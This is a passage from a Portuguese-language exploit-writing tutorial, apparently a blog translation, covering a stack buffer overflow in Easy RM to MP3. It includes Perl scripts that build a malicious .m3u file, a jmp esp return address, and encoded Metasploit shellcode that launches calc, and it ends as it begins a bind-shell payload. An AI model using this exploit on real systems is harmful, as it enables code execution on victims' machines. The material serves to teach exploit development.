href="http://2.bp.blogspot.com/-89TzT8Imi-U/Te4vvcMsjlI/AAAAAAAAARk/_aJzZFFA1BA/s1600/img_30.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 239px;" src="http://2.bp.blogspot.com/-89TzT8Imi-U/Te4vvcMsjlI/AAAAAAAAARk/_aJzZFFA1BA/s400/img_30.png" alt="" id="BLOGGER_PHOTO_ID_5615478277447388754" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; Como queremos colocar nosso shellcode no ESP (que está colocado em nosso payload após escrever o EIP), o endereço jmp esp a partir da lista não deve ter bytes nulos. Bytes nulos agem como finalizador de strings, assim tudo o que vier após seria ignorado. Em alguns casos, não teria problema em ter um endereço que se inicia com byte nulo.  &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; Vamos utilizar o payload após o sobrescrição do EIP para armazenar nosso shellcode, assim o endereço não conteria bytes nulos.&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; O primeiro endereço de acordo com o Windbg é 0x01B1F23A&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0.5cm; background: none repeat scroll 0% 0% transparent; border: medium none; padding: 0cm; line-height: 0.42cm;" align="JUSTIFY"&gt; Verifique que este endereço contém o jmp esp (fazendo o unassemble a instrução em 01B1F23A):&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: none repeat scroll 0% 0% transparent; border: medium none; padding: 0cm; line-height: 0.42cm;" align="JUSTIFY"&gt;&lt;a href="http://3.bp.blogspot.com/-pGRpAHXj5kQ/Te4vv4lHjWI/AAAAAAAAARs/DxlHjRAvefM/s1600/img_31.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 74px;" src="http://3.bp.blogspot.com/-pGRpAHXj5kQ/Te4vv4lHjWI/AAAAAAAAARs/DxlHjRAvefM/s400/img_31.png" alt="" id="BLOGGER_PHOTO_ID_5615478285066014050" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Se agora sobrescrevermos o EIP com 0x01B1F23A, um jmp esp será executado. ESP contém nosso shellcode... assim deveríamos agora ter um exploit funcional. Vamos testar com o nosso shellcode “NOP &amp;amp; break”.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; Encerre o Windbg.&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0.5cm; background: none repeat scroll 0% 0% transparent; border: medium none; padding: 0cm; line-height: 0.42cm;" align="JUSTIFY"&gt; Crie um novo arquivo m3u utilizando o script abaixo:&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }   PRE.cjk { font-family: "DejaVu Sans", monospace }  --&gt;  &lt;/style&gt;   &lt;/p&gt;&lt;pre class="western" style="background: #f4f4f4; border: none; padding: 0cm; line-height: 0.42cm; text-align: justify"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $file= &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"teste4.m3u"&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;br /&gt;my $junk= &lt;span style="color:#006080;"&gt;"A"&lt;/span&gt; x 26073;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $eip = pack(&lt;span style="color:#006080;"&gt;'V'&lt;/span&gt;,0x01b1f23a);  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $shellcode = &lt;span style="color:#006080;"&gt;"\x90"&lt;/span&gt; x 25; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;  &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;br /&gt;$shellcode = $shellcode.&lt;span style="color:#006080;"&gt;"\xcc"&lt;/span&gt;;&lt;br /&gt;#isso fará com que a aplicação dê um break, simulando o shellcode, mas permitindo prosseguir com o debugging&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;br /&gt;$shellcode = $shellcode.&lt;span style="color:#006080;"&gt;"\x90"&lt;/span&gt; x 25; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;open($FILE,&lt;span style="color:#006080;"&gt;"&amp;gt;$file"&lt;/span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;print $FILE $junk.$eip.$shellcode;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;br /&gt;close($FILE);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;font-size:78%;color:#000000;"&gt;print "Arquivo m3u criado com sucesso\n";&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Execute a aplicação pelo Immunity ou pelo Windbg, e abra o arquivo m3u com a aplicação.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;A aplicação agora dá um break no endereço 000FF745, que é o local de nosso primeiro break. Assim o jmp esp funciona bem (esp começa em 000FF730, mas contém NOPs até o 000FF744).&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0.5cm; background: none repeat scroll 0% 0% transparent; border: medium none; padding: 0cm; line-height: 0.42cm;" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Tudo o que precisamos fazer agora é alterar nosso shellcode e finalizar o exploit.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: none repeat scroll 0% 0% transparent; border: medium none; padding: 0cm; line-height: 0.42cm;" align="JUSTIFY"&gt;&lt;a href="http://3.bp.blogspot.com/-DRqRKFlTlPM/Te4wdE1mPDI/AAAAAAAAAR0/aXmR1k35YBg/s1600/img_32.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 201px;" src="http://3.bp.blogspot.com/-DRqRKFlTlPM/Te4wdE1mPDI/AAAAAAAAAR0/aXmR1k35YBg/s400/img_32.png" alt="" id="BLOGGER_PHOTO_ID_5615479061450472498" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: none repeat scroll 0% 0% transparent; border: medium none; padding: 0cm; line-height: 0.42cm;" align="JUSTIFY"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }   H3 { margin-bottom: 0.21cm }   H3.ctl { font-family: "Lohit Hindi" }   PRE.cjk { font-family: "DejaVu Sans", monospace }   A:link { so-language: zxx }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;h3 class="western" style="margin-top: 0cm; margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm; page-break-before: always" align="JUSTIFY"&gt; &lt;span style="font-size:130%;color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;Shellcode funcional e finalização do exploit&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt; &lt;p class="western"&gt;O Metasploit possui um ótimo gerador de payload que o ajudará a construir seu próprio shellcode. Payloads podem ter várias opções, e (dependendo do que você precisa), pode ser pequeno ou muito grande. Se você tiver uma imitação de tamanho em termos de espaço em buffer, então pode procurar por multi-staged shellcode, ou utilizar shellcodes criados manualmente tal como &lt;a href="http://packetstormsecurity.org/shellcode/23bytes-shellcode.txt"&gt;esse aqui&lt;/a&gt; (shellcode de 32bytes para executar um cmd.exe em Windows XP SP2). Alternativamente, é possível &lt;a href="http://code.google.com/p/w32-seh-omelet-shellcode/"&gt;dividir o shellcode &lt;/a&gt;&lt;a href="http://code.google.com/p/w32-seh-omelet-shellcode/"&gt;em pequenos “eggs”&lt;/a&gt; e usar uma técnica chamada de “egg-hunting” para fazer o reassemble do shellcode antes de executá-lo. Em breve veremos mais materiais que falam sobre egg-hunting e omelet hunters.&lt;/p&gt; &lt;p class="western"&gt;Digamos que queremos que o arquivo calc.exe seja executado como nosso payload, então nosso shellcode pode parecer com o seguinte:&lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm"&gt;&lt;br /&gt;&lt;/p&gt; &lt;pre class="western" style="background: #f4f4f4; border: none; padding: 0cm; line-height: 0.42cm; text-align: justify"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;# windows/exec - 144 bytes&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;# http:&lt;span style="color:#d7df01;"&gt;//www.metasploit.com&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;# Encoder: x86/shikata_ga_nai&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;# EXITFUNC=seh, CMD=calc&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $shellcode = &lt;span style="color:#006080;"&gt;"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x7f\xe8\x7b\xca"&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;p class="western"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Finalize o script perl e execute-o:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;pre class="western" style="background: #f4f4f4; border: none; padding: 0cm; line-height: 0.42cm; text-align: justify"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;#&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;# Exploit &lt;span style="color:#5576d1;"&gt;for&lt;/span&gt; Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;# Written by Peter Van Eeckhoutte&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;#&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $file= &lt;span style="color:#006080;"&gt;"exploitrmtomp3.m3u"&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $junk= &lt;span style="color:#006080;"&gt;"A"&lt;/span&gt; x 26073;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $eip = pack(&lt;span style="color:#006080;"&gt;'V'&lt;/span&gt;,0x01b1f23a);  #jmp esp from MSRMCcodec02.dll&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $shellcode = &lt;span style="color:#006080;"&gt;"\x90"&lt;/span&gt; x 25;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;# windows/exec - 144 bytes&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;# http:&lt;span style="color:#d7df01;"&gt;//www.metasploit.com&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;# Encoder: x86/shikata_ga_nai&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;# EXITFUNC=seh, CMD=calc&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;$shellcode = $shellcode . &lt;span style="color:#006080;"&gt;"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x7f\xe8\x7b\xca"&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;open($FILE,&lt;span style="color:#006080;"&gt;"&amp;gt;$file"&lt;/span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;print $FILE $junk.$eip.$shellcode;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;close($FILE);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;print &lt;span style="color:#006080;"&gt;"m3u File Created successfully\n"&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;p class="western"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Crie o arquivo m3u, abra-o e veja a aplicação morrer (e a calculadora deve abrir). Conseguimos fazer o exploit funcionar!&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="western"&gt;&lt;a href="http://3.bp.blogspot.com/-EA1Y35_SqcQ/Te4wdZiNzFI/AAAAAAAAAR8/MfvxL7hQtP4/s1600/img_33.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 201px;" src="http://3.bp.blogspot.com/-EA1Y35_SqcQ/Te4wdZiNzFI/AAAAAAAAAR8/MfvxL7hQtP4/s400/img_33.png" alt="" id="BLOGGER_PHOTO_ID_5615479067006323794" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="western"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="western"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="western"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }   H3 { margin-bottom: 0.21cm }   H3.ctl { font-family: "Lohit Hindi" }   PRE.cjk { font-family: "DejaVu Sans", monospace }   A:link { so-language: zxx }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;h3 class="western" style="page-break-before: always"&gt;&lt;span style="font-size:130%;color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;E se quisermos fazer algo diferente de executar a calculadora?&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;  &lt;p class="western"&gt;Podemos criar outro shellcode e alterar o shellcode de execução da calculadora por seu novo shellcode, mas este código pode não funcionar porque o shellcode pode ser grande, alocação de memória ser diferente, e shellcodes grandes aumentam o risco de haver caracteres inválidos no mesmo, que precisam ser filtrados.&lt;/p&gt; &lt;p class="western"&gt;Vamos dizer que queremos que o exploit faça um bind em uma porta para que possamos nos conectar remotamente e ter um terminal de comando.&lt;/p&gt;  &lt;p class="western"&gt;O shellcode pode parecer com o seguinte:&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;pre class="western" style="background: #f4f4f4; border: none; padding: 0cm; line-height: 0.42cm; text-align: justify"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" 